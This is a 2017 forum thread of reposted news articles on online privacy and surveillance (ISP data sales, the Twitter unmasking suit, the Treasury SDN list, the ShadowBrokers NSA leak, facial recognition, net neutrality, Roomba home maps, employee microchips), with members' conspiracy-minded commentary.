Rudwall listed his browser history on eBay earlier this week, writing in the description: “The money will go to me, instead of a large ISP (I’ll make good use of it, promise). My browser history will be delivered in a nice email or as a glossy 3.5” floppy disk. Your choice!”

Unsurprisingly, eBay pulled the listing soon after, forcing Rudwall to put it on Craigslist instead.

“This makes the story even more interesting, since Ebay won’t let me sell something that is mine, i.e. my browser history, but soon my ISP will be able to do it,” he told HuffPost. “I’ve sent an email to Ebay regarding this, and asked them to clarify.”

Do you have information you want to share with the Huffington Post? Here’s how.
Suggest a correction
Ryan Grenoble 
Reporter, The Huffington Post

http://www.huffingtonpost.com/entry/internet-privacy-protect-yourself_us_58dbe492e4b01ca7b4291bf5?fq7&
Title: Re: they know what you are doing
Post by: zorgon on March 31, 2017, 01:15:57 pm
Quote
If a corporation can sell your browsing history (and “corporations are people, my friend”), why not cut out the middleman and just sell your own data?

There ya go :P

People give it away free anyway on Face Book etc   

Facebook founder called trusting users dumb f*cks
Peace Prize for Mr Zuckerberg?


(https://regmedia.co.uk/2016/02/22/zuckerberg_photo_facebook.jpg?x=648&y=348&crop=1)

Quote
Loveable Facebook founder Mark Zuckerberg called his first few thousand users "dumb frigs" for trusting him with their data, published IM transcripts show. Facebook hasn't disputed the authenticity of the transcript.

Zuckerberg was chatting with an unnamed friend, apparently in early 2004. Business Insider, which has a series of quite juicy anecdotes about Facebook's early days, takes the credit for this one.

The exchange apparently ran like this:

Zuck: Yeah so if you ever need info about anyone at Harvard

Zuck: Just ask.

Zuck: I have over 4,000 emails, pictures, addresses, SNS

[Redacted Friend's Name]: What? How'd you manage that one?

Zuck: People just submitted it.

Zuck: I don't know why.

Zuck: They "trust me"

Zuck: Dumb frigs

The founder was then 19, and he may have been joking. But humour tells you a lot. Some might say that this exchange shows Zuckerberg was not particularly aware of the trust issue in all its depth and complexity.

https://www.theregister.co.uk/2010/05/14/facebook_trust_dumb/

Want PRIVACY on the internet ?

TURN IT OFF :P
Title: Re: they know what you are doing
Post by: zorgon on March 31, 2017, 01:34:22 pm
Rudwall listed his browser history on eBay earlier this week, writing in the description: “The money will go to me, instead of a large ISP (I’ll make good use of it, promise). My browser history will be delivered in a nice email or as a glossy 3.5” floppy disk. Your choice!”

Unsurprisingly, eBay pulled the listing soon after, forcing Rudwall to put it on Craigslist instead.

This is because Ebay has a very JEALOUS policy on doing ANY business outside Ebay  They don't allow links or emails to be shared and will ban your account if you do

Fortunately once you made a deal you get the clients email from Paypal :P

But selling you info in a list is not the way to go :P

Corporations buy lists of many names not just info from one person

Don't worry be happy

Personally i think to many people worry to much about this...

Pegasus website is http  unsecured but then no one shares personal info there so it doesn't need encryption... Hacker issues are different. A hacker would have to hack Globat server to mess with the files

https should ALWAYS be watched for when making payments  etc and you will see a little padlock symbol

So what are they interested in?  Whether you are a terrorist wanna be?  NO not really :P  The NSA takes care of that.

What they want is your shopping habits sothey can send you ads that are targeted to YOU personally

Example  If you go to Amazon  and look for FURSTY FERRET BEER  :P


From that day you looked at it it is in the system that you want that product so when you see ads when visiting other random sites, that product will appear again and again


The really funny thing is that when i view my own products on Ebay, I will for days see reminders asking me if i am still interested in buying :P

You CAN use ad blockers  but big sites now can see you using those and refuse to allow you access to their site if you are using adblockers :P

As a webmaster using affiliate programs to make a few dollars, I don't want people using ad blockers :P

But I don't stop the free lookers either :D
Title: Re: they know what you are doing
Post by: zorgon on March 31, 2017, 01:36:26 pm
PS If anyone in the UK feels generous and wants to send me a 6 pack of Fursty Ferret beer I would be much obliged :P

 ::)

(http://orig00.deviantart.net/78c3/f/2008/085/e/f/fudge_the_ferret_by_lilhildez.jpg)
Title: Re: they know what you are doing
Post by: The Seeker on March 31, 2017, 02:04:04 pm
PS If anyone in the UK feels generous and wants to send me a 6 pack of Fursty Ferret beer I would be much obliged :P

 ::)

(http://orig00.deviantart.net/78c3/f/2008/085/e/f/fudge_the_ferret_by_lilhildez.jpg)
Double that order and I will pay the shipping  8) PM for shipping address.  :P
Title: Re: they know what you are doing
Post by: space otter on April 06, 2017, 07:06:19 pm


 when the gov can squash anyone who critisizes it.. we are in big trouble



entire articles are at the links listed




http://www.foxnews.com/tech/2017/04/06/twitter-files-lawsuit-over-us-government-attempt-to-identify-users-behind-anti-trump-account.html

Twitter files lawsuit over US government attempt to identify users behind anti-Trump account
By James Rogers  Published April 06, 2017  FoxNews.com


On March 14 Twitter received a CBP summons “demanding that Twitter provide them records that would unmask, or likely lead to unmasking, the identity of the person(s) responsible for the @ALT_USCIS account,” according to the suit, which describes the summons as unlawful. “Permitting CBP to pierce the pseudonym of the @ALT_USCIS account would have a grave chilling effect on the speech of that account in particular and on the many other ‘alternative agency’ accounts that have been created to voice dissent to government policies,” it added. 


.......................................

https://www.bloomberg.com/politics/articles/2017-04-06/twitter-sues-u-s-to-block-unmasking-of-user-s-identity

Trump Sued by Twitter Over Bid to Unmask @Alt-Agency Handle
by Kartikay Mehrotra
April 6, 2017, 3:41 PM EDT April 6, 2017, 9:19 PM EDT

U.S. demands to know identity of immigration policy critic
Twitter says request violates users’ free speech rights
President Donald Trump wants to know who’s behind the rogue federal employee Twitter accounts slamming his administration’s policies. Twitter Inc.’s suing to keep him from finding out.
Twitter alleges that the Trump administration’s subpoena for information to identify the users behind accounts critical of the president would violate their Constitutional rights to free-speech. The social media giant contends users are entitled to their anonymity unless they’ve violated a law that would warrant unmasking and the government has failed to make such a case.


...............................

http://www.reuters.com/article/us-twitter-lawsuit-idUSKBN1782PH

U.S. | Thu Apr 6, 2017 | 9:00pm EDT
Twitter refuses U.S. order to reveal user behind anti-Trump account
By David Ingram | SAN FRANCISCO

Twitter Inc on Thursday filed a federal lawsuit to block an order by the U.S. government demanding that it reveal who is behind an account opposed to President Donald Trump's tough immigration policies.

Twitter cited freedom of speech as a basis for not turning over records about the account, @ALT_uscis. The account is claimed to be the work of at least one federal immigration employee, according to the lawsuit filed in San Francisco federal court.


.......................................


and all the current articles are listed with this search


https://www.google.com/#q=twitter+lawsuit
Title: Re: they know what you are doing
Post by: space otter on April 08, 2017, 05:12:03 pm

if you are turned down for some money thing you may want to check this list out


http://www.huffingtonpost.com/entry/treasury-department-financial-no-fly-list_us_58e6505ae4b06a4cb30fd7b0?xbq&

04/08/2017 07:01 am ET | Updated 11 hours ago
Your Financial Life Could Be Ruined If Your Name Is On This Massive Government List
The Treasury Department essentially has a 1,000-page financial no-fly list.
By Ben Walsh

Muhammed Ali Khan tried to do one of the most boring, responsible things an American taxpayer can do: set up a government-guaranteed retirement savings account. He was rejected because the Treasury Department thought he might be a terrorist.

He isn’t. He’s a software consultant from Fullerton, California. But he shares a first name (with a different spelling), last name and middle initial with a financier of a Pakistani terror group. That man, Mohammad Naushad Alam Khan, is on the Treasury Department’s Specially Designated Nationals and Blocked Persons List (SDN). The 1,026-page catalog lists people and organizations that U.S. citizens and residents are barred from doing business with because of their ties to terror cells, drug cartels or rogue states.

The SDN is essentially a financial no-fly list that cuts people off from U.S. banks ― and, as a result, the global financial system. The SDN has more than doubled in length in the last five years.

Khan later found out that his credit reports from Experian and TransUnion had also been flagged as a potential match. The trouble this caused him was relatively minor ― after he got over the shock of seeing a terrorism flag on his credit report, he spent a few hours navigating customer service lines with the Treasury Department and the two credit bureaus. He got his retirement account set up and his credit reports cleared after providing some personal information to show that he was not the man who had financially supported the 2008 Mumbai attacks. (Neither TransUnion nor Experian answered The Huffington Post’s questions about how they handle such false positive flags.)

Some other people wrongly believed to be on the SDN ― either because they share a name with someone who is or because their name partially matches an alias used by someone on the list (and international criminals often have a lot of aliases) ― are hurt far worse than Khan.

They can have their airline ticket purchases rejected or hotel reservations declined. Their bank accounts can be frozen. Loans to buy a home or a car can be declined. Wire transfers can be seized and held for up to a year while the freeze is litigated, which can destroy small businesses, block real estate transactions or delay inheritances.

Such delays impose “a tremendous burden,” Peter Djinis, a former anti-money laundering regulator at the Treasury Department, told HuffPost.

“It can become a business disadvantage to people whose name just happens to be similar to that of someone actually on the list,” he said. “This is a real problem.” 

Bank accounts can be frozen. Loans to buy a home or a car can be declined. Wire transfers can be seized and held for up to a year.
The Treasury Department’s Office of Foreign Assets Control, or OFAC, maintains the SDN list. The catalog was created in 1940, but the department massively increased its efforts to block terrorist financing after the Sept. 11, 2001, attacks.

OFAC is a relatively small office compared to other parts the law enforcement and national security apparatus, although the Treasury Department told HuffPost that OFAC has enough staff and that its size is appropriate relative to U.S. sanctions programs. However, OFAC is especially small relative to its mission of blocking thousands of people from the U.S. financial system.

This means day-to-day enforcement is largely left up to the private sector.

A Treasury Department spokesman told HuffPost that “OFAC manages individuals and entities on its list in coordination with relevant U.S. government agencies, and has processes in place to ensure that designations are applied appropriately, and to assist and provide due process to anyone who believes they should be removed.”

A whole industry has popped up around this, producing what is known as interdiction software ― programs that banks use to see if a customer’s name matches one on the blocked list. This software produces a staggering volume of hits and leads to lots of false positives, like Khan’s.

Banks tend to be conservative in their risk management, and cast as wide a net as possible to try to stop anything improper. This is because sanctions are enforced under the legal standard of strict liability, meaning any transaction with anybody on the list is illegal, regardless of intention. Fines are steep, too: either $284,000 per violation, or twice the value of the transaction ― whichever is higher.

Companies that peddle interdiction software turn banks’ worries into a selling point. Yet the software’s results often don’t live up to its promises, and financial institutions are struggling to deal with the mountains of data the software produces. The Treasury Department declined to comment on interdiction software.

A compliance software executive who asked not to be named because it could harm his business told HuffPost that big banks, credit card companies and payment processors can have between 200 and 500 employees who sift through hits and gather information to try to clear false positives from the OFAC list. When a potential client’s name matches one on the list, the financial institution staffers then have to call OFAC to figure out if the person really is on the SDN or if they are dealing with a false positive.

The SDN doesn’t often provide much in the way of specifics ― a name, a few aliases, a nationality and sometimes a date of birth. Financial institutions would like more identifying information about the people on the SDN so they could vet their customers more quickly.

But the government is often hamstrung because it has limited personal information about the people on the list, often because the SDN targets are concealing as much about their lives as possible. The Treasury Department told HuffPost it compiles and releases as much identifying information about the people on the list as it can in order to reduce the number of false positives. The department declined to release data on the number of transactions or transfers halted due to false positives. 

It can become a business disadvantage to people whose name just happens to be similar to that of someone actually on the list.
Peter Djinis, a former anti-money laundering regulator at the Treasury Department
False hits ― people like Khan ― are “a bigger problem, not a smaller problem,” explained Djinis, the former regulator. And clearing up false hits is a labor-intensive process.

The safe, simple option for the financial institution is often to just stop doing business with a customer whose name gets flagged.

The complex nature of financial transactions makes this process even more difficult for customers with names that are likely to get wrongly flagged. For instance, a simple money transfer abroad might involve two retail banks and an intermediary bank to facilitate. The transfer can be held up if software run by any of the three banks flags any party involved.

Some financial institutions have tried to fix this by buying more software to help sort through the results ― which is great for the software providers, and could help the people the system has wrongly flagged. “We are going to make so, so much money selling them stuff to fix this,” the software executive said.

The application of the SDN list has become “guilt by association,” Shereef Akeel, a civil rights lawyer in Michigan who has worked on the issue, told HuffPost. The Treasury spokesman said the department wasn’t worried that enforcing the list raised any civil rights issue.

The vast number of false positives, Akeel said, “actually compromises our national security … because everyone is busy looking at all these other names, they don’t have enough time to really catch the bad guys.”

Instead, Akeel said, the burden falls on people like Khan, who have to try to prove that they are not someone else. Khan succeeded in setting up his retirement fund, but there’s no way for him to proactively tell every U.S. financial institution that he isn’t Mohammad Naushad Alam Khan.

Title: Re: they know what you are doing
Post by: space otter on April 14, 2017, 06:05:28 pm


https://theintercept.com/2017/04/14/leaked-nsa-malware-threatens-windows-users-around-the-world/

LEAKED NSA MALWARE THREATENS WINDOWS USERS AROUND THE WORLD
Sam Biddle
April 14 2017, 3:35 p.m.

The ShadowBrokers, an entity previously confirmed by The Intercept to have leaked authentic malware used by the NSA to attack computers around the world, today released another cache of what appears to be extremely potent (and previously unknown) software capable of breaking into systems running Windows. The software could give nearly anyone with sufficient technical knowledge the ability to wreak havoc on millions of Microsoft users.

The leak includes a litany of typically codenamed software “implants” with names like ODDJOB, ZIPPYBEER, and ESTEEMAUDIT, capable of breaking into — and in some cases seizing control of — computers running version of the Windows operating system earlier than the most recent Windows 10. The vulnerable Windows versions ran more than 65 percent of desktop computers surfing the web last month, according to estimates from the tracking firm Net Market Share.

The crown jewel of the implant collection appears to be a program named FUZZBUNCH, which essentially automates the deployment of NSA malware, and would allow a member of agency’s Tailored Access Operations group to more easily infect a target from their desk.

According to security researcher and hacker Matthew Hickey, co-founder of Hacker House, the significance of what’s now publicly available, including “zero day” attacks on previously undisclosed vulnerabilities, cannot be overstated: “I don’t think I have ever seen so much exploits and 0day [exploits] released at one time in my entire life,” he told The Intercept via Twitter DM, “and I have been involved in computer hacking and security for 20 years.” Affected computers will remain vulnerable until Microsoft releases patches for the zero-day vulnerabilities and, more crucially, until their owners then apply those patches.

“This is as big as it gets,” Hickey said. “Nation-state attack tools are now in the hands of anyone who cares to download them…it’s literally a cyberweapon for hacking into computers…people will be using these attacks for years to come.”

Hickey provided The Intercept with a video of FUZZBUNCH being used to compromise a virtual computer running Windows Server 2008–an industry survey from 2016 cited this operating system as the most widely used of its kind.

Susan Hennessey, an editor at Lawfare and former NSA attorney, wrote on Twitter that the leak will cause “immense harm to both U.S. intel interests and public security simultaneously.”

A Microsoft spokesperson told The Intercept “We are reviewing the report and will take the necessary actions to protect our customers.” We asked Microsoft if the NSA at any point offered to provide information that would help protect Windows users from these attacks, given that the leak has been threatened since August 2016, to which they replied “our focus at this time is reviewing the current report.” The company later clarified that “At this time, other than reporters, no individual or organization has contacted us in relation to the materials released by Shadow Brokers.”

Update: April 14th, 2017, 7:20 p.m.

This post has been updated with an additional comment from Microsoft.
Title: Re: they know what you are doing
Post by: space otter on April 15, 2017, 09:42:27 am


http://www.huffingtonpost.com/entry/fake-facebook-french-election_us_58f168f4e4b0da2ff860febe?ncid=inblnkushpmg00000009

TECH 04/14/2017 10:36 pm ET
Facebook Cracks Down On 30,000 Fake News Accounts Ahead of French Election
The social media company is taking out full-page newspaper ads with tips for spotting untrustworthy sites.
By Mary Papenfuss

vid at link

Too late for the U.S. presidential election, Facebook is going after 30,000 phony accounts used to distribute fake news in France, ahead of the national vote there.

The company is using automated methods to help screen out the fakes, such as finding content repeated on hundreds of the phony sites. Facebook said in a statement Friday that it’s taking “decisive action” against the accounts, presumably shutting them down.

“While these most recent improvements will not result in the removal of every fake account, we are dedicated to continually improving our effectiveness,” Facebook technical program manager Shabnam Shaik wrote in a post.

The company is relying on “improvements to recognize these inauthentic accounts more easily by identifying patterns of activity without assessing the content itself,” Shaik added. Facebook hopes to “reduce the spread of material generated through inauthentic activity, including spam, misinformation, or other deceptive content that is often shared by creators of fake accounts.”

The company is running full-page ads in several French newspapers with tips on how to spot fake news, reports Tech Crunch. The ads urge readers to carefully check the URL, date, photos, and facts in an article to decide whether it can be trusted.

Facebook is a key element in any effective fake-news strategy. Phony Facebook sites can amplify concocted stories a thousand-fold as they are repeated by people across a nation or the world. Readers or search engines then mistakenly judge the fake stories as real and important based on the number of people sharing them.

Both Germany and France are taking extra precautions after the proliferation of fake news during the U.S. election, some of which intelligence agencies claim was orchestrated by the Kremlin.

Facebook conceded it was partly responsible for the spread of fake news during the U.S. election. Heavily promoted fake articles claiming that Hilary Clinton sold weapons to ISIS  became more popular than stories about the final days of the campaign.

The first round of the French presidential election takes place April 23. Facebook has been running fact-checking programs on its sites, hoping to weed out fake news and slow its distribution, Deutsche Welle reports.

In a separate crackdown, Facebook announced Friday it had pulled the plug on a major spam operation out of Bangladesh, Indonesia, Saudi Arabia and other countries. The operation mainly reached out to publisher Facebook pages in an attempt to gain Facebook friends, who would then be targeted by spam, according to a Facebook statement.

Title: Re: they know what you are doing
Post by: zorgon on April 15, 2017, 01:53:55 pm

Facebook Cracks Down On 30,000 Fake News Accounts Ahead of French Election
The social media company is taking out full-page newspaper ads with tips for spotting untrustworthy sites.
By Mary Papenfuss


I would be easier to list the TRUSTWORTHY news sites :P  You could count those on one hand :D

Seems FB thinks Wall Street Journal is okay :D

AS accusations of facilitating the spread of fake news continue, our readers can draw comfort and confidence from content that is created, curated and checked in a real newsroom.
Join Now: 50% Off
Read by key decision makers around the globe, WSJ's award-winning journalism and trusted insights give you a competitive edge to stay ahead.
buy.wsj.com
Title: Re: they know what you are doing
Post by: thorfourwinds on April 16, 2017, 06:36:34 pm
(http://www.thelivingmoon.com/gallery/albums/userpics/10005/Moove_new-640.png)

Speaking of Microsoft…

As some of you may know, I suffered three computer meltdowns in rapid succession last year, around the time I was temporarily evicted (still have an appeal in the Court of Appeals) from my lovely home and 'coincidently', there appeared way too many anomalies that directly affected my personal life.

If I were truly paranoid, I might correlate the timing of my exclusive interview with my friend, Political Prisoner Pete Santilli (a front-page feature story in Disaster Survival Magazine), who was incarcerated on bogus charges (ALL of which were dropped by the Federal Prosecutors before any trial - after Pete spent way too many months in a Federal lockup in Portland, Oregon), with the multitude of 'problems' that immediately presented themselves after that brilliant story. The Feds may not have appreciated it as much as I do.  LOL

Anyway…that 'fixed' Mac be back!

And they will call you a radical…IF YOU THINK YOU ARE PARANOID.

Now, to personalize this story…

This is from the Mac OS X 10.7, Lion - 3.1 Xeon Quad Core (two 3.0 GHz E5472 Quad-Core processors) 16 GB DDR2 SDRAM) connected to the InterNet where we visited Deagel previously to get this graphic:


(http://www.thelivingmoon.com/gallery/albums/userpics/10005/Deageo_2025-640.png)

And came back to find that a 'LIST' has been made of IP addresses that have been adjudged to be not worthy and thusly 'not allowed' (BANNED!) to now grace the electronic abyss of what's known as Deagel.com.

OOPS!


(http://www.thelivingmoon.com/gallery/albums/userpics/10005/you_are_not_authorized-500.png)


Whiskey Tango Foxtrot!

Did we pick up a CTV (Computer Transferred Virus)?

We'll check.


(http://www.thelivingmoon.com/gallery/albums/userpics/10005/scan_results_MacPro-16.png)


Does that graphic actually indicate over ten trillion Tb?   :P

One might think that the people able to mount this level of attack are not children holed up in Mom's basement.   :P

Or, it could merely be ArMap having a bit of fun.     8)

Gotta love how helpful Microsoft Product Support Services is.   :P

Here's the last page on Wayback for anyone interested :
https://web.archive.org/web/20150416005440/http://www.deagel.com/country/forecast.asp

Now, where wuz me?

Oh, that's right - back to cleaning the Desert Eagle.    ;)

(http://www.thelivingmoon.com/gallery/albums/userpics/10005/anon_if_you_choose_nothing~0.jpg)
Title: Re: they know what you are doing
Post by: biggles on April 16, 2017, 06:50:08 pm
Well, I love Anonymous and the other interfering pigs can stick a hose up their nose.

I know I'm on their watch list because I have been friends with a very well known targeted individual.

I can just see all of them at their pc's reading and flagging.
Title: Re: they know what you are doing
Post by: robomont on April 16, 2017, 07:15:29 pm
come on thor,everybody knows sintilli is fbi informant just as aj is too.right now glp is on fbi lockdown.so is lop.they are in coplandia also but i havent confronted them yet over it.wouldnt surprise me if this site has an informant but im not ready to go that far yet either.
that fellow that originally pointed me here was protoplasmic traveler,he was running a muslim honeypot and lone wolf school.most ct forums are just lone wolf schools.very suttle schools.
you aint famous unless they want you famous and they have dirt on you to control you.or you come out of disney brainwashing academy.
control the narrative.
thats why im such a threat,im hacking all the systems and have been pretty successful at it so far.
thats why ct is dieing.ct was an intel portal.we old timers know it.
so now they are in a panic.that rain over nk was my idea.lets see if they follow through.
truth is the usa gov is one giant bs factory and ive got it leveraged hard.
proof is in the responses ive gotten after applying stimuli at key points in the matrix then watching reactions and results.
i could go down a list of facts and argue till im blue in the face but whats it matter?
i know whats up.
my latest exploit,ol mark zuckerburg aint running for prez now is he?
i took mr robot just like i said i would and exploited it and im gonna continue to exploit it.
the thing is,tptb can get on board or ill make it really hard on them,just as they did us.
theres only one thing in this country tptb should truly fear and its me and they know it.
so to those non members monitoring this convo,im coming for you,if you dont get on the robomont train!
Title: Re: they know what you are doing
Post by: ArMaP on April 17, 2017, 01:15:40 pm
Did we pick up a CTV (Computer Transferred Virus)?
No, your IP address was put on a black list.

Quote
Does that graphic actually indicate over ten trillion Tb?   :P
No, it shows over ten million TB. :)

Quote
One might think that the people able to mount this level of attack are not children holed up in Mom's basement.   :P
That's not an attack, that's just a useless program giving wrong information.

Quote
Or, it could merely be ArMap having a bit of fun.     8)
Fun with a Mac? Hardly.  :P

Quote
Gotta love how helpful Microsoft Product Support Services is.   :P
The only relation to Microsoft appears to be the server operating system used by Deagel.com (Windows Server 2012), and has nothing to do with the rest.
Title: Re: they know what you are doing
Post by: space otter on June 27, 2017, 06:57:39 am
 
 i don't fly anywhere but this goes here  and i am glad to be THIS old...sigh


http://www.msn.com/en-us/travel/news/the-newest-airport-security-measure-is-very-very-creepy/ar-BBDhmHB?li=BBnbfcL

The Newest Airport Security Measure Is Very, Very Creepy
 Reader's Digest Reader's Digest
Brooke Nelson
18 hrs ago

If you have flown with JetBlue or Delta airlines lately, you might recall a new program that allows passengers to board their flights with a facial recognition scan. However, you might not have known that these systems were also the first phase of the Department of Homeland Security’s (DHS) 'Biometric Exit' program, which has been in place since June of last year, Slate reports.

According to Slate, the DHS has partnered with Delta to make face recognition scans mandatory for certain international flights leaving Atlanta and New York. DHS is also working with JetBlue to develop a similar system for travelers flying from Boston to Aruba.

So, how does it work? Essentially, computers “match passport and visa photos of U.S. visa holders to photos taken at the airport from which they’re departing the country,” Mashable says. “This helps the U.S. make sure the people getting on the plane are the same people who hold those visas.”

Still, the two programs are slightly different. The Delta system compares a photo of the passenger’s face, taken by a kiosk at the boarding gate, to photos from State Department databases. It also checks passengers’ citizenship or immigration status. If you’re flying with JetBlue, you can voluntarily get your face scanned instead of using a physical ticket.

And these systems aren’t going away anytime soon; in fact, the program is expected to expand in the coming years. Homeland Security is currently negotiating to make face recognition a common feature across all American TSA security checkpoints, says U.S. Customs and Border Protection executive John Wagner.

If you ask us, facial recognition scans seem kind of fun… and futuristic. But before you even step foot in an airport, make sure you’re not making these mistakes before your next flight.

computer glitch .. go to the article and click on the last sentence to continue..
i'm getting stuck




Title: Re: they know what you are doing
Post by: Amaterasu on June 27, 2017, 08:37:17 am
Speaking of "security" creepy:

https://www.youtube.com/watch?v=UdEmrev7ieI

And the return:

https://www.youtube.com/watch?v=PZjei2gdr9U
Title: Re: they know what you are doing
Post by: Shasta56 on June 27, 2017, 10:31:58 am
I will take days on the road with four kids over flying.  Flying has had way too much unfavorable publicity recently.

Shasta
Title: Re: they know what you are doing
Post by: space otter on July 12, 2017, 01:23:01 pm

POLITICS 07/12/2017 05:46 am ET | Updated 1 hour ago
It Isn’t Déjà Vu. The Internet Is Fighting For Net Neutrality. Again.
“The FCC wants to destroy net neutrality and give big cable companies control over what we see and do online.”

By Ryan Grenoble

It’s not you. Some of your favorite websites really do look different today.

July 12 has been deemed a “day of action” by more than 200 websites, companies and organizations in support of net neutrality, a fundamental rule underpinning the internet that prevents service providers from playing favorites with or otherwise discriminating against data as it travels on their network.

The list of participants includes tech giants such as Google, Amazon, Twitter, Facebook and Netflix, and literally hundreds of other sites, from Reddit, Spotify and Airbnb to Pornhub, each of which is raising the issue Wednesday with their own spin.

Mark Zuckerberg also threw his hat in the ring, personally pledging Facebook’s continued backing of pro-net neutrality Federal Communications Commission regulations.

tweet
Mark Zuckerberg
4 hours ago
Today people across the US are rallying together to save net neutrality.
Net neutrality is the idea that the internet should be free and open for everyone. If a service provider can block you from seeing certain content or can make you pay extra for it, that hurts all of us and we should have rules against it.
Right now, the FCC has rules in place to make sure the internet continues to be an open platform for everyone. At Facebook, we strongly support those rules. We're also ...
See More

Video platform Vimeo told Recode it will prominently feature a brief video explaining the importance of net neutrality, which both President Donald Trump and Ajit Pai, the Republican FCC chairman he appointed, oppose.

This spring, Pai took the first steps toward dismantling a 2015 Obama-era net neutrality rule that classified telecoms as Title II “common carriers,” which, among other things, prevents internet service providers (ISPs) from making “unjust or unreasonable discrimination in charges, practices, classifications, regulations, facilities, or services.”

Pai argues the rule has stifled internet investment and innovation, but most major internet players disagree, painting it instead as a play by companies like Comcast and Verizon to tip the scales in their favor at the cost of... well, everyone else.

Without net neutrality, for instance, Comcast could hypothetically prioritize content produced by NBC, which it owns, while slowing access to Netflix. Similarly, Verizon, which owns HuffPost’s parent company, Oath, could allot extra bandwidth to HuffPost content at the expense of others.

Comcast went on a PR offensive ahead of Wednesday’s action, trumpeting its support for an “open internet,” while somehow also trying to make the case that Title II protections and net neutrality are unrelated.

tweet
Comcast ✔ @comcast
Title II ≠ #netneutrality. Comcast continues to support open internet protections: http://comca.st/2r3V6nT
5:01 PM - 9 Jun 2017

Verizon, which has sued the FCC over the rules, also affirmed its commitment to an “open internet” on Wednesday, but countered that regulating internet providers as common carriers hinders their ability to innovate.

“It’s in all of our interests to ensure that consumers can access the legal content of their choice when and how they want,” wrote Will Johnson, senior vice president for federal regulatory and legal affairs. “It also is in all of our interests for businesses to have certainty so they can invest in networks and create new products and offers with confidence. And providers throughout the Internet ecosystem should be able to expand and grow their networks and services without fear of being cut-short by regulation.”

(HuffPost’s union is represented by the Writers Guild of America, East, which has joined Wednesday’s action in support of net neutrality.)

AT&T, meanwhile, attempted to play both sides of the coin by simultaneously endorsing the “day of action” while also continuing to support scrapping Title II. Critics accused the telecommunications giant of “co-opting” the movement:

tweet
Tony Romm ✔ @TonyRomm
you are not "joining" the net neutrality day of action if you fundamentally disagree with the cause. that's not joining, that's coopting.
2:24 PM - 11 Jul 2017


Twitter Ads info and privacy
Mignon Clyburn, the FCC’s lone remaining commissioner who is also a Democrat, broke with Pai Wednesday and re-upped her commitment to net neutrality. In an unambiguous statement, she positioned Pai’s efforts to repeal Title II as being on the wrong side of history.

“Today I stand with those who believe that a free and open internet is a foundational principle of our democracy,” she said. ”That is why I am excited that on this day consumers, entrepreneurs and companies of all sizes, including broadband providers and internet startups, are speaking out with a unified voice in favor of strong net neutrality rules grounded in Title II.”

As the internet nonprofit Mozilla explains it:

Net neutrality is fundamental to free speech.

Without net neutrality, big companies could censor people and perspectives online. Net neutrality has been called the “First Amendment of the Internet.”

Net neutrality protects small businesses and innovators who are just getting started.

Without net neutrality, creators and entrepreneurs could struggle to reach new users. Investment in new ideas would dry up and only the big companies would survive, stifling innovation.

Net neutrality allows consumers — not big companies — to choose what they watch & do online.

Without net neutrality, ISPs could decide you watched too many videos on Netflix in one day and throttle your Internet speeds, while keeping their own video apps running smooth.
“The FCC wants to destroy net neutrality and give big cable companies control over what we see and do online,” said Battle for the Net, a consortium of advocacy groups, in an announcement explaining the need for Wednesday’s action. “If they get their way, they’ll allow widespread throttling, blocking, censorship, and extra fees. On July 12th, the Internet will come together to stop them.”

The Internet needs to remain a level playing field where the reach of one’s voice is determined by quality of ideas and not a handful of CEOs.
Tom Perez, chairman of the Democratic National Committee
In a statement Wednesday, Democratic National Committee Chairman Tom Perez also voiced his support for net neutrality and encouraged followers to call their representatives and write the FCC.

“The Internet needs to remain a level playing field where the reach of one’s voice is determined by quality of ideas and not a handful of CEOs,” he said. “The free flow of information shouldn’t be impeded by greedy gatekeepers. The Republicans who put the wallets of big telecom companies and their lobbyists over the best interests of their constituents need to be held accountable.”

The FCC is accepting public comment on its proposed rollback until July 17.

This article has been updated with more comments on net neutrality.

Title: Re: they know what you are doing
Post by: space otter on July 25, 2017, 06:16:24 am

from kid's toys to cleaning robots
can't trust anyone anymore..sigh
oh yeah smart homes    and visa'a push for a money-less world :(   :'(
...yikes


http://www.msn.com/en-us/news/technology/roomba-maker-may-share-maps-of-users-homes-with-google-amazon-or-apple/ar-AAoOgXM?li=BBnbfcL

Roomba maker may share maps of users' homes with Google, Amazon or Apple

The Guardian
Alex Hern    23 mins ago


The maker of the Roomba robotic vacuum, iRobot, has found itself embroiled in a privacy row after its chief executive suggested it may begin selling floor plans of customers’ homes, derived from the movement data of their autonomous servants.

“There’s an entire ecosystem of things and services that the smart home can deliver once you have a rich map of the home that the user has allowed to be shared,” said Colin Angle, iRobot’s boss.

.
.
.
Angle told Reuters that iRobot,
http://www.reuters.com/article/us-irobot-strategy-idUSKBN1A91A5?il=0
which made Roomba compatible with Amazon’s Alexa voice assistant in March, could reach a deal to sell its maps to one or more of the Big Three – Amazon, Apple and Google’s Alphabet – in the next couple of years. None of the three commented on this story.

The plans have been received positively by investors, sending iRobot’s stock soaring to $102 in mid-June from $35 a year ago and giving it a market value of nearly $2.5 billion on 2016 revenue of $660 million.

.
.
.
let me give you an example of UNDERSTATEMENT

But consumer advocates have been more concerned by the proposal. Selling data about users’ homes raises clear privacy issues, said Ben Rose, an analyst who covers iRobot for Battle Road Research. Customers could find it “sort of a scary thing,” he said.

.
.
Angle said iRobot would not sell data without its customers’ permission, but he expressed confidence most would give their consent in order to access the smart home functions.

The company’s terms of service appear to give the company the right to sell such data already, however. When signing up for the company’s Home app, which connects to its smart robots, customers have to agree to a privacy policy that states that it can share personal information with subsidiaries, third party vendors, and the government, as well as in connection with “any company transaction” such as a merger or external investment.

“Maybe that doesn’t unnerve you, but it probably should,” says Rhett Jones of technology site Gizmodo. “This is all part of the larger quest for a few major companies to hoover up every bit of data about you that they can. Now, they want to know all about your living space."



entire article at link
Title: Re: they know what you are doing
Post by: space otter on July 26, 2017, 08:19:44 am
well this shouldn't surprise anyone...


https://www.nytimes.com/2017/07/25/technology/microchips-wisconsin-company-employees.html

Microchip Implants for Employees? One Company Says Yes
By MAGGIE ASTOR JULY 25, 2017

At first blush, it sounds like the talk of a conspiracy theorist: a company implanting microchips under employees’ skin. But it’s not a conspiracy, and employees are lining up for the opportunity.

On Aug. 1, employees at Three Square Market, a technology company in Wisconsin, can choose to have a chip the size of a grain of rice injected between their thumb and index finger. Once that is done, any task involving RFID technology — swiping into the office building, paying for food in the cafeteria — can be accomplished with a wave of the hand.

The program is not mandatory, but as of Monday, more than 50 out of 80 employees at Three Square’s headquarters in River Falls, Wis., had volunteered.

“It was pretty much 100 percent yes right from the get-go for me,” said Sam Bengtson, a software engineer. “In the next five to 10 years, this is going to be something that isn’t scoffed at so much, or is more normal. So I like to jump on the bandwagon with these kind of things early, just to say that I have it.”

